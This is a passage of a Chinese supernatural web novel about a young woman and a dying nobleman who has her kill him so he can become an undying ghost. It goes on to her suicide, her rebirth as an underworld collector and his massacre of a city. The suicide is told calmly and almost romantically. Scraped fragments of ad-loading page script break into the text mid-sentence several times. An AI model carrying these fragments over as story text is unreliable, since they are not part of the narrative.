大概是山里的狸猫之类的吧。她想。于是每次吃饭时都会特意匀出一些食物来留在桌上,然而不知是不是因为不合口味,这些饭食从未减少过,所以隔天苏青枫只能把这些食物倒在屋后。不久被倒掉的饭食附近就躺着数只雀鸟的尸体。 苏青枫在剩饭里添了毒性的鼠药。然而那个缠着她的狸猫,或者人,或者别的东西——并未被毒杀。 苏青枫独自抱着绢布走在回家的山路上。满山都是风雨声,溪涧哗哗作响。 “这几日下雨,溪流湍急,要格外小心点。”她说。 “这个时候,溪里的鱼或许比较多吧,也许能钓上大鱼。”过了一会,她又说。 她始终望着溪面。但水中并没有游动的鱼儿,她只看到两个人的倒影。雨点落在水面上,将倒影打得破碎。一切景象在混乱的涟漪中模糊不清,像一场难以言喻的梦境。 苏青枫眨了下眼睛,倒影中只有她一人,刚刚的幻觉已经消失了。搅乱的水面让她有些反胃欲吐,她扭头望向远处。阴沉的雨幕中,只有那片枫林颜色鲜亮异常,红得太夺目,仿佛上面沾染了温热的血迹。一片片枫叶在风中颤动不止,好像无数猩红的眼睛在开阖。 “嗯,往年的枫叶也是这么好看的。”苏青枫回答说。 在旁人看来,少女分明是在自言自语,却好像在跟另一个看不见的人对话。苏青枫也明白她是在自言自语,但她也不知道自己为何会有这个习惯,就好像往常会有人跟她聊这些可有可无的闲话。 雨天路难行,苏青枫花了一阵子回到她住的屋子时,天色已经快要黑下来了。她放下绢布,坐到桌前点燃蜡烛。 桌上放着一张纸,半面纸上都是不同的人名。最前面是苏度光和沈氏,这两个名字被早早划去,而其后的人名也被纷纷划去,只剩下最后一个名字。 苏青枫磨了磨墨,提笔划去了最后的张娘子,然后对着烛火呆呆地举起这张纸,纸上尽是已经被划去的人名。她刚刚画上去的那一笔还没有干透,黑色的墨水弯弯曲曲地流下来。 她总不会想要杀一个素不相识的人,因而她把她所有认识的人都列举了一遍。她虽然不疏于人情世故,却不太喜欢或者懒得与人交际,所以与乡里的人走动不多。纸上的人名除了她的父母,便是她不得不来往的人,例如米铺和绢行等几家店铺的老板,买她绣品的那几位主顾……可是他们都不是。 那个她不知为何动了杀意的人,就好像不应该出现在她的生活中。他凭空而来,又凭空消失,难以寻觅踪迹。 “都不是……”苏青枫喃喃。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 分明屋子的门窗都是关牢的,却有一缕凉风拂过她脸侧,使得旁边的烛火微微摇曳了一下。 又来了,那个缠着她的东西。前几日在路上遇到的袁伯说她是撞鬼了,若真是恶鬼,这只鬼一不害她二不吓她,只是这样默默跟着她,未免待人太好了点。 苏青枫摇摇头,放下纸,起身打算去灶房烧火做饭。 她刚坐在灶前,伸手正要去拿柴火,却忽然一愣。 她没有拿过木柴,转而手指在长凳边上一抹,捻起了一根发丝。 昏暗的光线下,这根发丝泛着苍苍的灰色,浅淡的色泽容易让人误以为是一根绢丝。这古怪的颜色不像是寻常凡人的头发,而像是什么妖魔的毛羽。 苏青枫轻轻抚过这根不知为何遗落在此的发丝。然而头发那样纤细那样柔软,捏在指间几乎没有什么触感。仿佛为了有所实感,她一圈圈将发丝绕在手指上,然后缓缓勒紧。 猝然嘣的一声微响,那根发丝被扯断,像是突然断裂的琴弦,娓娓飘落在地上。 苏青枫怔怔地看着手指上残留的红痕,然后连那点痕迹也很快恢复不见,就像她这些天来的臆想一般。 想要杀死的人,向其说话的人,注视着她的人,究竟是谁? 她突然抬手朝空中伸去,一瞬间似乎有人轻轻搭上她的手,然而下一瞬她的手只是虚虚悬在空中。 “碰不到你啊。”苏青枫笑着收回手,“看来我这样是见不到你的。” 她取下挂在腰间的剪刀,默默凝视着锋利的刀口,狭窄的刃面倒映着她空白似无思无想的眼神,然后她径直划过了自己的脖颈。 自戕时苏青枫并不恐惧,自然而然得像是在裁开一幅布。她只觉得铁器划过血肉的感觉有些熟悉,好像曾经也有这样的血液溅开在她面前。 而从那时候起,苏青枫就已经疯了。 一阵阴风陡然掠过,桌上的烛火一晃便被压熄了,屋子里霎时间幽暗得有些瘆人。 屋中也不再有活着的人了。 “……那就来见我吧。” 弥漫的血腥气和寥落的雨声中,有个声音若有若无地叹息。 河步乡向来是个风平浪静的小地方,然而这个月却发生了一件惊动全乡的大事——一位猎户上山打猎时发现了一具人的尸体。秋雨连绵,衣裳虽然完好,尸体却早已开始腐烂,但仵作还是验出死者是被人刺死的。而最让人们议论的不是杀人案本身,而是死去的那人竟然是半个月前季氏重金悬赏寻找、不知去向的小公子。 官府大惊,急忙遣人来查此案。在季氏小公子的尸首不远处就是一座茅屋,据说是苏家的孤女居住。官差前去探问,却发现这位苏姑娘喉咙被锐器划开,也早已身亡多日。 而不久之前,地府在白马郡的辖地中也发生了两件不大不小的事——一名恶鬼逃脱了鬼差的缉杀,而一位少女的魂魄被招引为新的无常。 42. 刻舟求剑(一) 季家的小公子今日又不见了。 这位小公子自出生时就带着一种古怪的不治之症,季氏请了无数名医前来看诊,那些名扬一方的医师却都捋着胡须摇摇头,只说至多到弱冠之年,这位小公子便会卧床不起,慢慢衰竭而死。 而如今小公子已经十八岁,除了那头浅色的头发有些异样,加上体力比常人要弱一些,与平常人几乎没有什么差别,甚至心思玲珑,才思敏捷,还要胜过族中的其余子弟。 说来这个怪病也不是一开始便被发现的,而是季氏夫妇在小公子出生后特意请一位云游的仙家取名,不料仙家瞧了一眼尚在啼哭的婴儿,便说小公子身有重疾,命格凶煞。 “不妨就取名‘亡哀’吧,既有‘生荣亡哀’的好寓意,也或许能以这名字压一压他大凶的命格。”仙家笑意莫测,留下这个诡谲的名字后飘然而去。 尽管小公子命格不吉、身患怪病,季氏夫妇却对这个孩子宠爱到了几乎无度的地步,不仅是因为他是家中独子,而且自小就格外乖巧可爱。如今年岁渐长,小公子虽说照样惹人喜爱,唯独就是喜欢偷偷溜出府去玩。分明他不是纨绔的性子,兼之体弱,照理说应当喜欢安静待在府中学经纬谋略才是。 第一回出府时,小公子还留了张字条免得家人忧心,后来偷溜次数多了,便开始不告而别。季氏夫妇一向惯着这个孩子,也不拦着他翘家,只让几个侍卫暗中跟着小公子。然而小公子竟然甩开了那些武功不凡的侍卫。那日傍晚小公子回家时,季醇难得大发雷霆,将他叫去了书房。可半个时辰后出了书房,父子俩却俨然是和颜悦色的融洽景象。谁也不知季氏家主是怎么被说服的,那之后小公子照样每隔几日溜出府,而季醇也不再时时派人跟着了。 几年来小公子向来是白天跑出去,傍晚好端端回来,因而府中上下便也渐渐放心了。 薄暮将起,小公子果然和往常一般按时归来。门前洒扫的下人见到他却吃了一惊——那袭胜雪的白衣不知怎么沾满了泥污。 “无妨无妨,不小心摔了一跤罢了——”小公子却丝毫不见狼狈,宛若无事发生一般笑眯眯道。 最开始,季亡哀喜欢往府外跑,不过是想要趁着手脚尚能动的时候多走走瞧瞧。 小时候,他只觉得自己大概是生了什么严重的病,因为娘亲总是哄着他吃各种汤药,而且时不时在他身上挂些稀奇古怪的东西。那时候季亡哀已经知晓了不少世事,明白这块金锁上刻着的是“长命”,那块灵玉代表“长生”。 “我儿一定能平安健康、长命百岁。”季夫人总是摸着他的脑袋温言细语,“一定能够……” 而父亲虽然让他读书识文,却只是为了知情达理、明见万里,并不强求他多么用功,非要考取什么功名。尽管如此,季亡哀的功课依然出色得远超同辈。 “真是聪慧啊!只是比起颖悟绝人,我更希望这个孩子能寿满天年啊。”季醇翻阅季亡哀的诗文时,曾在私下如此感喟道。 原来如此,自己能好好活下去,应该就是世上最重要的事了吧?偷偷扒在窗边等着父亲评阅自己功课的季亡哀暗想。 有一回府上得到一株罕见的灵芝,季亡哀见父母都满面喜色,也好奇地凑过去看那个红木的小匣子。 “千年灵芝万年参,这就是千年的灵芝啊。”季醇打开匣子。 “它已经长了一千年么?” “不错,所以它集了千年的天地灵气,若是人吃了,也能祛病延年。”季醇转头对下人吩咐,“待会拿下去给公子熬羹。” 季亡哀看着匣子中的那块灵芝,不见什么灵气,只是一截干枯犹如朽木的死物。他忽然有一种奇怪的感觉——安安稳稳长了千年的生灵,如今却被采伐吃掉,为了来让人延年益寿。 大概想要活下去,就要杀死别的生命吧? 从那时起,季亡哀渐渐喜欢上了下棋。季醇与他对弈时,惊讶于这个孩子平素性格藏锋敛锷,下棋时棋路却格外激进,很少据守一地,有时宁愿赌一着险棋也要围杀对方。 在季亡哀看来,下棋并非是攻城守地来争夺输赢,而是不断吃掉对方的棋子以求让自己活下去。他不遗余力地布局攻杀,不过是为了让自己多一分生机。 他贪求的不是胜利,正如他不是为了追求什么而意图活下去,只是纯粹地想要活下去罢了。 到季亡哀十五岁时,季醇便将他所患的怪病告诉了他。 “十五岁已经不是孩子了。为父告诉你这些,不是想怨恨天命,而是想让你乐天知命。你自幼聪明,也定然明白这个道理。人活一世,终归地府,只要活时尽兴,又何必在乎长短呢?”季醇如是教诲。 季亡哀对自己的病征早有预料,但他既不怨天尤人,亦未坦然接受。 他不要四五年后自己便缠绵病榻、状似痴呆。他要长命百岁。 “……老书生于是与薛小姐共饮一杯酒。到天明时分,薛小姐幽魂已散,而那老书生也尽了寿元,呜呼去哉。”说书先生一敲折扇,满堂寂然。 说书棚子里今日讲的是神怪书,刚刚讲完的一折是有名的《兰若寺》,说的是一个书生年轻时偶然遇见一位小姐,自此念念不忘,却无缘再见第二面。书生后来终身过着清贫的读书日子,也未娶妻,只借宿在一座寺庙中。就在这个书生老得快要死的时候,一天晚上忽然见到那位小姐前来拜访,容色依旧跟几十年前一般。书生本以为自己是在做梦,那位薛小姐却告诉他自己早年病故,已经是一缕幽魂,今夜前来只是为了了却两人间的因缘。两人畅谈一夜,薛小姐叹息说若是当时两人有缘能再见第二面,或许能结为夫妻。如今无缘喝合卺酒,便饮酒权当辞别吧。于是两人饮尽了一樽酒。待到次日天明,鬼魂已然消失,书生也老死在桌前。 往常讲历史演义时,刀光剑影英雄气概,一折讲完,都是满堂喝彩。然而今天讲的《兰若寺》故事显得凄清,堂下的听众一时都垂首默然。 坐在角落里的一位白衣小公子也若有所思,似乎很为情节触动,然后率先鼓掌叫好,其余听众回神,也纷纷叫起好来。场子里又热闹起来,华服踏月的女鬼和思恋终老的书生亦如一场幻梦,所带来的哀婉之意在喧哗声中很快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被冲淡了。 散场后说书先生正喝茶润嗓,忽然那位小公子坐在了桌边。 “您说书说得真好,不过我还有些不明白,那位薛小姐为何会成为鬼魂呢?”小公子问道。 “大概是因为书生心中太过思念她吧。与世间有牵绊未了,人的魂魄也会被留在此世。”说书先生又倒了一杯茶,“年轻人,我看你也是出身世家的,家中应该会在固定的日子祭祖吧?所谓祭祖的仪式也是设下一种牵绊啊,为了求得祖先魂灵庇佑。” “人活在世间,又怎会没有牵绊?”小公子反问。 “那恐怕要是不一般的牵绊吧。”说书先生侃侃而谈,“祖先能够显灵,是受了代代香火的供奉;薛小姐化作鬼魂,是因为书生穷尽余生的牵念。至于那些被人所害而成为恶鬼的呢,也有足足一条无辜人命的牵连。” “是这样啊。”小公子诚恳地点点头,“多谢,我明白了。” “年轻人,为一个故事问这么多,你莫不是也遇上女鬼了吧?”说书先生见小公子很好相与的样子,不由打趣起来,“人鬼可没有善果啊,就算女鬼千年不老,但鬼可没有话本里讲得这么温柔动人,恶鬼可是要吃人的哪。” “就算鬼要杀人,可是它们千年不老啊。”小公子一挑眉梢,也像玩笑一般微笑着说。 那之后,季亡哀开始寻找一个人。 若他要当长留世间的薛小姐,谁能是对他念念不忘的书生? 他漫无目的地游荡在郡内,有意观察每个擦肩而过的路人。就这样又东游西逛了三年,终于有一天,他在望着莹碧如镜的溪水出神时,蓦地另一个人的倒影逆着流水出现在视线中。 从水影中对上来人目光的一瞬,季亡哀不由得屏息。 那是个年约十六七的少女,穿着普通但容貌清丽,会让过路的人忍不住多看一眼。然而真正引得季亡哀心中一动的是她的眼睛,那双漆黑的眼眸仿佛水镜一般,只是空空地映照着万物,而她自己一无所有。 溪水波光粼粼,倒影摇曳,她的眼中却未曾有一丝波动。灿然的春日中,好像只有她是静止的,万事万物只在她之外变化,而她无哀也无喜。 季亡哀自小从父母处耳濡目染观人之术,他立即洞察了一件事——与他恰恰相反,这位少女没有任何欲念,因而也对为何活着感到茫然。 那一瞬间,季亡哀知道他找到了那个人。 唯独想要活下去的人和不知为何活下去的人,就这样巧合地相遇了。一见钟情这个词太烂漫,对于他们而言,这一刹或许是某种宿命或者孽缘的线开始纠缠。 季亡哀绝不会让这根线断开。 那位少女看见季亡哀也愣了愣,但片刻怔忡后,很快过扭头就要继续往前走。季亡哀正要开口叫住她,忽然觉得双腿一软——那种怪病已经开始发作,他站得太久,腿上的肌肉有些失力。 季亡哀支撑不住,一下子扑通摔进了水里,水花四溅。但他紧接着听到了另一阵水声,不一会有人拉住了他的胳膊。 于是他明白,自己已经抓住了命运的丝线。 43. 刻舟求剑(二) 仿佛是某种预兆,遇见苏青枫之后,季亡哀的身体开始加速衰弱下去。短短半年,他连行走都已经有些吃力了。直到有一天,他发现自己的右臂彻底无法动弹了。 已经没有时间了。好在一切也已经准备就绪。 他对季府中的所有人都瞒了下来自己的身体状况。那一天,府中的人只以为小公子是和往常一样出门游历,然而夜幕降临,他却再也没有回来。 苏青枫用剪刀割断他咽喉的动作很果断,季亡哀死时几乎没有痛苦多久。而在死后两天,季亡哀重新有了意识——他已然是鬼魂之身。 一般的鬼惧怕白日,而且被缚在一地。但或许是季亡哀的执念非同寻常,他在白天亦能行动,也并未被束缚在某处不得脱离,兼之还存留着与人无异的神智,因而顺利逃过了无常的追捕。 一切都如他所愿,唯独有件季亡哀没有料到的事。赴死那日他带给了苏青枫好些金银,好让她杀人之后能隐姓埋名远走他乡,以免被官府查到,安稳度过余生也不成问题。但苏青枫的心性再异于常人,终究还只是个十七岁的小姑娘。当身为厉鬼的季亡哀再去那座茅屋中探看时,发现苏青枫仍旧住在那里,而且记忆混乱,言行失常。 亲手杀死季亡哀后,她就疯了。 除了每隔几天远行去杀个人稳住心性,季亡哀一直跟着苏青枫。但他身为凶煞的厉鬼,无论现身还是入梦,对于凡人来说精神上都不可承受,只会加重苏青枫的崩溃。于是他只是默默看着她苦苦思索想要杀死的人,听她有时对着空气说话。直到最后,她也用剪刀划断了自己的脖颈。 她大概也会变作鬼吧。他想。毕竟他们是那么相像的人。 然而阴差阳错一般,苏青枫死后魂魄的确没有重入轮回,却也没有化鬼,而是被地府召为了无常,与冤魂厉鬼恰恰是夙敌。 在日后漫长的岁月中,季亡哀慢慢知道无常其实与鬼很相似,都是心中怀有执念,又与世间留有羁绊不断,因此不甘就此踏上黄泉路。不同的是鬼在死前怀有的是恶念。 恶念啊。 自私自利是恶,贪婪无厌是恶,罔顾他人是恶。 从见到苏青枫第一眼起,他心中怀抱的就是欺诱利用的打算。这样想来,他做的确实太过分了吧?平白害一个姑娘亲手杀人又发疯自戕,只为了他自己的私心。 也许因为起初就抱着异样的目的,季亡哀也难以分清自己对苏青枫的感情。他爱她么?这样的爱未免太恶毒了,不仅要她偿还十百倍的爱,还要搭上一条性命。 作为一名鬼,反过来窥探无常无疑是很危险的。但季亡哀始终徘徊在那位赋名盛情难却的白无常的辖地,观察她是否还执着于杀一个人。 季亡哀并不担忧两人的羁绊会消散。他没有背弃自己的承诺,而她也不会背弃那份“爱”。但他还是一直跟随着盛情难却,好像这样会让他觉得略略安心。也许就像船与锚,他与她的羁绊无形中牵住了他。 因缘积果,没有谁能够抽身而去。 直到盛情难却调去了阳平县,季亡哀才不再游荡在附近。一方面阳平县人烟本就稀少,他从中杀人太过显眼;另一方面与她搭档的那位黑无常实力不容小觑,季亡哀行事出没还是谨慎了些许。 就这样百年过去。若是在人间,红颜已成枯骨,而无常和鬼魂却百年如一日,未有变化。 江州城发生异状时,季亡哀恰好就在附近。他听闻此事心生好奇,倚仗自己是实力了得的厉鬼,便前去一看。不料进城后发现无法离去,困在了几乎一切都凝固的城里。逡巡中,他甚至发现了管辖当地、如今也被封住的黑白无常。以防万一,他用鬼术将两位无常藏匿起来,又取了黑无常的衣袍和勾魂链。他一直观察无常,因此暂时假扮成无常也不会有什么破绽。城内毕竟还有些人能够活动,日后也定然还会有鬼差和人间的术师来此解决异状,借着无常的身份更容易行动。 果然过了两日,又有新的鬼差前来探查异状。三者在窄巷中狭路相逢。 “你的赋名是什么?” 季亡哀百年来为了躲避无常,稍稍改变了外貌的年纪。灰发青年看着容颜依然如死时一般十六七年华的黑眸少女,刹那间就想好了所谓的赋名。 “吾辈名讳为……春生秋杀。” 他尽力扮演着一位黑无常,略微改变了说话的口吻,以免被盛情难却和其余人识破身份,导致什么不测的结果,毕竟当下最重要的是离开江州城或者破除异状。可没想到盛情难却一眼就认定了他就是那个人——虽然还是想不起他是谁。 正如当初所约定的,她找了他两百年,终于找到了他。 既然如此,季亡哀也就由着自己的心情接近盛情难却。一切像是星辰沿着既定的轨迹旋转,然后一切又重蹈覆辙,只不过这次是他杀死她。 季亡哀绝不后悔,没有什么比他自己的存在更重要。甚至当白衣少女的形影在怀中消散时,他觉得自己穿透的只是一阵雾气,仿佛即使她死了,他们之间的羁绊也不会断开。 只是那阵雾气却久久不曾散去,好像在心头蒙上一层渐侵的潮湿,令季亡哀感到一种缓慢的窒息。 ——后来当江州城的异状已经解除时,人间和地府却无不骇然。 城内的数十条街巷血流成河。 在官府的清点下,足有六千人丧生于这场无妄之灾中,其中既有平民百姓,也有身份显赫的权贵。还有近百人回魂醒神后,睁眼便看见这副地狱般的惨烈景象,活活被吓疯。原本盛极一时的江州城因为这场浩劫一转衰落,从此被冠以“死城”的名号。据说整整十年间城内都萦绕着挥之不去的血腥味。 民间有传言说是当朝天子担心襄王势大,有意血洗了他所居的江州城。但亲眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见过而有幸保持理智的人都说那种残酷的场景绝不是人力所为,作祟的只可能是非人的妖魔或者恶鬼。 而对于地府而言,也有几千个魂魄没有躯体可归而成为游魂,生死簿更是错乱得一塌糊涂。除了驻守各区的无常之外,其余鬼差都来到江州城,花了三天才引回所有魂魄,有一位判官更是在连续加班一个月重整生死簿后向阎王提出辞职。 然而引得人间和地府动荡一时的罪魁祸首,却消失无踪。有人说它躲过追缉藏了起来,也有人说它也死在了那满地的血肉尸骨中。 想杀人,想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人人想人想杀想杀人想杀杀人想人杀杀人想杀人人想想杀想杀人。 黑服的恶鬼随手一挥袖,旁边的一个人半截身子就流了下来。鲜红的血液赏心悦目,可它依然觉得不太痛快,这些人都和蝉虫蜕下的壳·一样,空有一具躯壳,它再怎么“杀”都难以尽兴。 它仿佛饥肠辘辘的野兽寻找血食,到处寻觅活人的气息,只在一座楼中感知到似有人在。然而那个房间偏偏有很厉害的术法护佑,它尝试半天也没法破开,驱鬼的术法又让它承受不住恶心,只能悻悻离开。 它沿着街道信步前行,一路像是顽童踩死蚂蚁般肆意倾泻自己凶恶的天性。不知过了多久,终于它嗅到一丝非同寻常的生灵气息,然而一瞬间它感到的不是狂喜,而是本能的畏惧。恶鬼的直觉令它察觉到来者是敌,专司缉鬼的地府无常。 它本应该先躲藏起来观察状况,可是……不知为何,它像是被什么牵绊住了行动,怔怔站在原地,仿佛那片刻之间有什么胜过了本能,特意让它要与来者面对面相遇。 它只迟疑了片刻,但已经来不及了,白衣的无常出现在眼前。她脸上没有表情,径直朝厉鬼走来。而厉鬼愣了愣,微笑地伸出手,像是要迎接她。 他们的每次相遇都宛如一场幻梦。第一次相见是在溪水里的倒影,第二次相遇在飘散的恶鬼尸灰中,而此刻再次相逢,身边是尸山血海。 破碎的血色在两人的脚下蔓延,明艳得像是一地红杏。 白无常也伸出手,仿佛要搭上它的手。就在两只手即将相叠的瞬间,厉鬼却忽然探身,眨眼间骨爪刺向她的心口! 它的攻势凶煞而突如其来,白无常却好像早有预料,手腕一转抓住了它的手臂。厉鬼惊讶于白无常迅速的反应,正要发力挣脱她,白无常却开口了,声音清而锐,因为用力钳制厉鬼而微微颤抖,仿佛嗡鸣的刀剑: “季亡哀,你之前说过若是你变成只会杀戮的恶鬼,就让我杀了你。” 她直视着他殷红的眼瞳。在她叫出名字的那一刻,那双眼睛中似乎闪过了一丝神采。 “如果你想要活下去,那就清醒过来。” 她一字一句道,字字如刀,直指死穴。 44. 刻舟求剑(三) 季亡哀觉得头痛欲裂,他忍不住按着额头,过了一阵子视线才能渐渐聚焦,唇齿间勉强挤出一句话来:“盛情……原来你活着啊。” “如果我真的死了,你现在就不会是这副模样了。”盛情难却平静地回答。 因为季亡哀并没有真的“杀死”她,所以才会鬼性大发,肆意屠戮。 季亡哀没有作声,仍旧捂着半张脸,神色晦暗不明。他像是又缓了一口气,又像是思索了片刻,才慢慢道:“所以……是与你搭档的黑无常。” 盛情难却点点头。尽管季亡哀没有把话讲完,但两人都已经对言外之意心知肚明。 那时盛情难却要求季亡哀杀了她,其实并非是抱着必死的决心。江州异状至今还没有什么别样的动静,就像是戏台早已搭好,要唱的戏却还没有开场。幕后黑手若想从这座混沌的城中取得什么,不可能完全作壁上观,要么亲临此地,要么也会遣人前来推动谋划。 季亡哀虽然是杀人凶手,但并不是异状的元凶。偏偏其他人一个个死在了他的手上,逃过一劫的巫女又是当初木明瑟直觉与异状无关之人。幕后的布局者必然躲过了十几天来白无常等人的搜寻,而如今时间所剩无几,江州之大,盛情难却要想一寸寸找过去也来不及了……除非,要找的是那个人。 与其说他身上有嫌疑,不如说只有他是元凶,江州城的困局才可能有解。 而若要确证,最简便的办法只有一个。 如果盛情难却真的为季亡哀所杀,那么至少暂且保住了灵堂,也拖延了几天季亡哀的鬼化。哪怕是短短几天,只要拖到三月十六,说不定就会有转机。而如果她没有“死”—— 盛情难却恢复意识睁开眼睛时,发现自己正身处一个巷角,面前依然是漆墙黛瓦,远处的断章楼仿佛要将苍天一分两断。她低头看去,自己仍然是白无常的装束,只是没有那件麻布斗篷。引魂幡也静静搁置在她手边。 其实不必观察,在醒来的那一刹,熟悉的感觉就漫过盛情难却全身——与往常无异,她身为无常死而复生了。只不过或许是由于异状的隔绝,她并没有复生在地府,而是直接复生在了江州城中。 那么……当初天衣无缝也没有死,或者说他的“死”是刻意为之的假象。盛情难却亲身揭破了这个假象。 “所以……你是故意的?”季亡哀苦笑。 “自然是故意,我又不是不小心被你失手所杀的。”盛情难却貌似认真道。 “你知道我不是这个意思。”季亡哀觉得头痛又剧烈起来,不由闭了闭眼,“你不惜性命去赌这一件事?” “无论我是否会死,结果都有益处。既然没有输家,就算不上赌。”盛情难却微微一笑,笑容里带了点揶揄,“你好像又猜错了。” “我是太看轻你了啊……还是说,在当无常的这段日子里,你也变了呢。”季亡哀轻声说。他垂眸扫过被盛情难却牵住的手,一瞬间似是想要抽回手去,但最终并没有如此动作。 那时苏青枫义无反顾地随他跳下山崖,他以为他既已取得了她的心,便能凭那份罔顾生死的爱支配她,像是抓住了操纵木偶的牵丝。但直到盛情难却逼他不得不杀了她,他才发觉她的行事并非在他的掌控之中。 那份他所唤起的感情,太过沉重太过异乎寻常,连他也无法左右,甚至反而被席卷其中。 盛情难却没有回答,转而拿出两张符箓。她的表情淡下去,语速也加快了,“跟我走。要来不及了。” 她虽然失去意识后不久后便醒来,但仍然十分虚弱。不得不又休息了一日有余,才恢复如初,沿着满街的血迹找到了作祟的厉鬼。 见到符箓,季亡哀下意识地往后退去,但他的手腕还被盛情难却拽着,“这是什么?” “隐匿符。”盛情难却言简意赅。 “要靠这个去找那个黑无常么?”季亡哀明白过来,“莫非盛情你已经知道他躲在哪里了?” 天衣无缝能够掩人耳目躲藏这么多天,似乎他真正的实力还在盛情难却和季亡哀之上,因而在两人靠近他的藏身处之前,他每每能够先一步察觉到两人的气息,提早避开。 “我还不清楚。”盛情难却断然道,“但是只要知道他活着,我一定能找到他。” 如果说她和天衣无缝之间有什么与众不同的,那就是过去百年来积累的默契。天衣无缝凭这份默契欺骗了她一回,她也能凭着了解找到他的藏身之处。 她将符纸分别往自己和季亡哀的袖子上一贴,“不能耽误了,走吧。” “今日是十五日……再过几个时辰,到了子时,就是鬼门开的时刻,确实不容耽搁啊。”季亡哀喃喃自语。两人正迅速地掠过江州城,本不是闲聊搭话的好时候,但为了维持随时会崩溃的理智,他只能迫使自己不断说话。 “鬼门开还是关都无所谓,但是再拖下去,你就要彻底沦为噬人的恶鬼了。” 盛情难却并没有回头,只是紧紧牵着季亡哀的手。他细瘦而冰冷的手蜷缩着,像是正在忍受某种莫大的折磨。 “虽然我不在乎你变成什么样。”过了一会,盛情难却淡淡地说。 “嗯……不过那样的话,你的上司恐怕会很在乎吧?” “我的上司?” “阎王爷呀。我杀了那么多人,他应该会大发雷霆吧。”季亡哀笑着说,“如果异状能够解决,或者我们能够出去,之后盛情你打算怎么办?把我押回地府么?” “你真是喜欢明知故问。” 季亡哀歪歪脑袋,“哪里在明知故问,我都猜错你的心思这么多回了。除了能窥探人心的妖怪,有谁能完全掌握另一个人的心呢?” “我不会带你去地府的。”盛情难却只能沿着他的话接道。 “呵呵……”季亡哀笑了,发自厉鬼口中的笑声却有些瘆人,“这算包庇的重罪吧,在地府受罚的可就要变成你了。哪怕你无所谓,我也会不忍心啊。” “怎么,你甘愿投案就缚么?”盛情难却的语气没有起伏,比起反唇相讥更像在认真询问。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “当然不会。”季亡哀也同样认真地回答,“到那个时候,我们就一起逃亡吧。” “好啊。”盛情难却说。 少女露出浅浅的笑容,几乎像是柔软天光所织就的某种倒影,可又如此真实,绝非镜中反射的倒影。一如那日夕阳西坠,她也是这样的笑容,以这一点点坦然的真心和轻浅的两个字,回应了白衣少年惊心动魄的赠礼。 “不过我是被收归的无常,很快就会被抓住的。”她又说,仿佛真的在探讨逃亡的可行性。 季亡哀顿了顿,忽然话锋一转,“你之前想过么,要是有一天终于拘满魂魄而要入轮回怎么办?” “没有想过。”盛情难却干脆道,“我不会考虑那么长远的事。” 以她的拖延,至少要再过个百年才能完成地府的业绩。百年以后的事本就不可预测,她自然懒得费心。她那得过且过的性子倒是从来不曾改变。 季亡哀也没有追问下去,只是自顾自道:“其实一开始我希望你也变成和我一样的鬼。不过现在觉得,无常也很好。” 他偏头看向盛情难却,风拂过身侧,白无常的发梢与衣袍却纹丝不动,,“你听说过兰若寺的故事么?一位女鬼在世间游荡了几十年,找到了当初对她念念不忘的书生。他们喝了一夜的酒,然后女鬼离去,书生老死,两人的缘分这就尽了。” “可是无常不一样。无常不老不死,所以我们之间的缘分也永远不会了尽。”季亡哀依然在笑,笑得狞厉而美丽,刻薄寡恩,情深意重,“我想过你将要完成无常的工作时怎么办。我会杀了你。哪怕你一遍遍复生,我也会一遍遍杀了你,把你留在此世。” 江州城被封住时将近日暮,而旧雪园园深林密,因此虽然园中春光明媚,游人却稀稀落落。这里也尚未被丧心病狂的恶鬼侵扰过,只有满园草木在风中微微颤动。 “藏在这里,莫非是格外喜欢桃花么?”季亡哀眺望道。 嫩绿的春草与新叶间,一片绯红格外醒目。那是旧雪园里有名的重瓣桃花。重瓣桃花不比寻常桃花那样单薄,这里的桃花又以色深花繁出名,遥遥望去像是一场大火。 盛情难却没有作声,速度也并未放慢,径直往桃林处而去。 在炽烈的花树下,一个人影静静伫立。零星落下的花瓣穿过他雪白的发丝,像是穿过一束皎洁的月光。 也许是由于隐匿符的作用,盛情难却与季亡哀出现在他背后时,他并未有什么反应,只是出神似的望着桃花。季亡哀微微一动,盛情难却察觉到他是想要趁对方尚未注意时先发制人,但她无声地按下他的动作,就这么相距几步,平声开口:“天衣无缝。” 就像过去每一次开口唤他的名讳一样。 黑无常似乎一愣,又似乎只是隔了一个叹气的时间,他缓缓转过身来,脸上没有半分惊讶和警觉,依然是无懈可击的从容不迫,看不出如今的重逢是否在他意料之外。 “好久不见,小白。”天衣无缝微笑着说,“还有……这位‘前同事’。” 45. 善罢甘休(一) “你们是怎么找到我的?”天衣无缝问,倒没有要逃跑的意思,像是单纯为聊天开个比较平和的头。 盛情难却首先到这片桃林里来寻人,也绝非出于偶然。初入江州城之时,天衣无缝曾在絮絮叨叨中提到,城内有一处重瓣桃花开得极美。尽管盛情难却看似大部分时候都无视他那些漫无边际的闲话,但实则每字每句都听在耳中。 况且从那句云淡风轻的话中,她听出了……哀伤。 那种哀伤不是因为花开花落,而是因为曾与人同看过繁花美景,如今又一季花开,当初的那个人却再不能来。 于是只能独自徘徊在花间,看着一如往昔的景色,好像一场旧梦。 盛情难却无疑是无常中的异类,但异类并不只她一个——还有同样是主动请调到荒僻辖区的天衣无缝。比起他脾气古怪的搭档,天衣无缝言谈举止似乎并没有什么出格之处。 唯独他生前的记忆太过清晰。 看过的桃花,尝过的食物,夜半翻墙去赏月……这样细枝末节的小事,寻常人过去几十年都未必能记得,天衣无缝却随口道来,仿佛当初成为无常时饮下的忘川河水只是碗普通的清水。 要有多深的执念,才使得那些回忆刻骨铭心,连忘川水都未曾洗去一丝一毫? 发现生死簿不见时,盛情难却并未怀疑到天衣无缝头上,哪怕他是最方便下手之人。撇开信任不谈,天衣无缝的反应也并无可疑之处,而且判官笔丢失的消息也是他主动提及的。然而凭借他的身份,无论拿到生死簿还是判官笔都不困难,他也有本事无声无息地做到——无常的实力强弱与记忆有关,假如无常也与恶鬼一样有张红名榜,天衣无缝定然榜上有名。 至于他窃盗作乱的缘由,想必就是他不曾忘却的那个人。 